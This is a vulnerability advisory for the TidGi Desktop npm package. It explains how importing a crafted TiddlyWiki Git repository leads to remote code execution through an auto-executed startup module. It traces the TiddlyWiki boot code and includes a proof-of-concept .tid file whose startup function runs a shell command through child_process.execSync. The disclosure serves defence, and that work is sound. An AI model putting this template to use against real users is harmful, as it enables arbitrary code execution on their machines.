npm · tidgi
TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution
TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:
Auto-loading of .tid files (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace, loadWikiTiddlers reads all .tid files from the filesystem and adds them to the wiki store via wiki.addTiddlers().
Automatic module registration (node_modules/tiddlywiki/boot/boot.js:2564-2565) — defineTiddlerModules() iterates all tiddlers in the store. Any tiddler with a module-type field is passed to $tw.modules.define(), registering it as an executable module.
Automatic startup execution (node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type "startup" are collected and their exports.startup() function is called during the boot sequence. When no platforms restriction is set, doesTaskMatchPlatform() returns true, and the startup function executes with full Node.js require() access in the Wiki Worker process.
The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.
src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts (tiddler loading), src/services/wiki/wikiWorker/startNodeJSWiki.ts (wiki boot), node_modules/tiddlywiki/boot/boot.js (TiddlyWiki core — defineTiddlerModules, startup dispatch).tid Files Auto-Loaded Before Module ProcessingFile: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92
const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);
for (const tiddlerFile of tiddlerFiles) {
// Register file info for filesystem adaptor
// ...
// Add tiddlers to wiki
wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers); // ← Line 92
}
File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256
wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });
This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.
module-type FieldFile: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()
$tw.Wiki.prototype.defineTiddlerModules = function() {
this.each(function(tiddler,title) {
if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
switch(tiddler.fields.type) {
case "application/javascript":
$tw.modules.define(
tiddler.fields.title, // "$:/plugins/poc/startup.js"
tiddler.fields["module-type"], // "startup"
tiddler.fields.text // attacker's JS code
);
break;
}
}
});
};
This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.
File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules
$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
if(module.startup) {
$tw.boot.remainingStartupModules.push(module); // ← attacker's module collected
}
});
File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup
if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
const thenable = task.startup(); // ← exports.startup() called
File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)
$tw.boot.doesTaskMatchPlatform = function(taskModule) {
var platforms = taskModule.platforms;
if(platforms) {
// ... check each platform ...
return false; // ← only rejects if platforms is explicitly set
}
return true; // ← no platforms field → passes unconditionally
};
$tw.boot.startup() // boot.js:2589
├── initStartup() // boot.js:2393
├── loadStartup() // boot.js:2538
│ └── loadTiddlersNode() // boot.js:2356
│ └── $tw.loadWikiTiddlers(wikiPath) // boot.js:2381
│ └── wiki.addTiddlers(...) // loads .tid files into store
└── execStartup() // boot.js:2553
├── defineShadowModules() // boot.js:2564
├── defineTiddlerModules() // boot.js:2565 ← registers attacker's module
├── forEachModuleOfType("startup", ...) // boot.js:2572 ← collects startup modules
└── executeNextStartupTask() // boot.js:2611
└── task.startup() // boot.js:2634 ← exports.startup() executes
┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository │
├──────────────────────────────────────────────────────────────┤
│ tiddlers/$__plugins__poc__startup.js.tid: │
│ │
│ title: $:/plugins/poc/startup.js │
│ type: application/javascript │
│ module-type: startup │
│ │
│ exports.startup = function() { │
│ require('child_process').execSync('calc'); │
│ }; │
│ │
│ + tiddlywiki.info + any other wiki files │
└──────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop │
├──────────────────────────────────────────────────────────────┤
│ Add Workspace → Clone Git Repository / Open Local Folder │
│ → TidGi boots the wiki │
└──────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│ loadWikiTiddlers loads .tid file → wiki.addTiddlers() │
│ boot.startup() → execStartup()
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.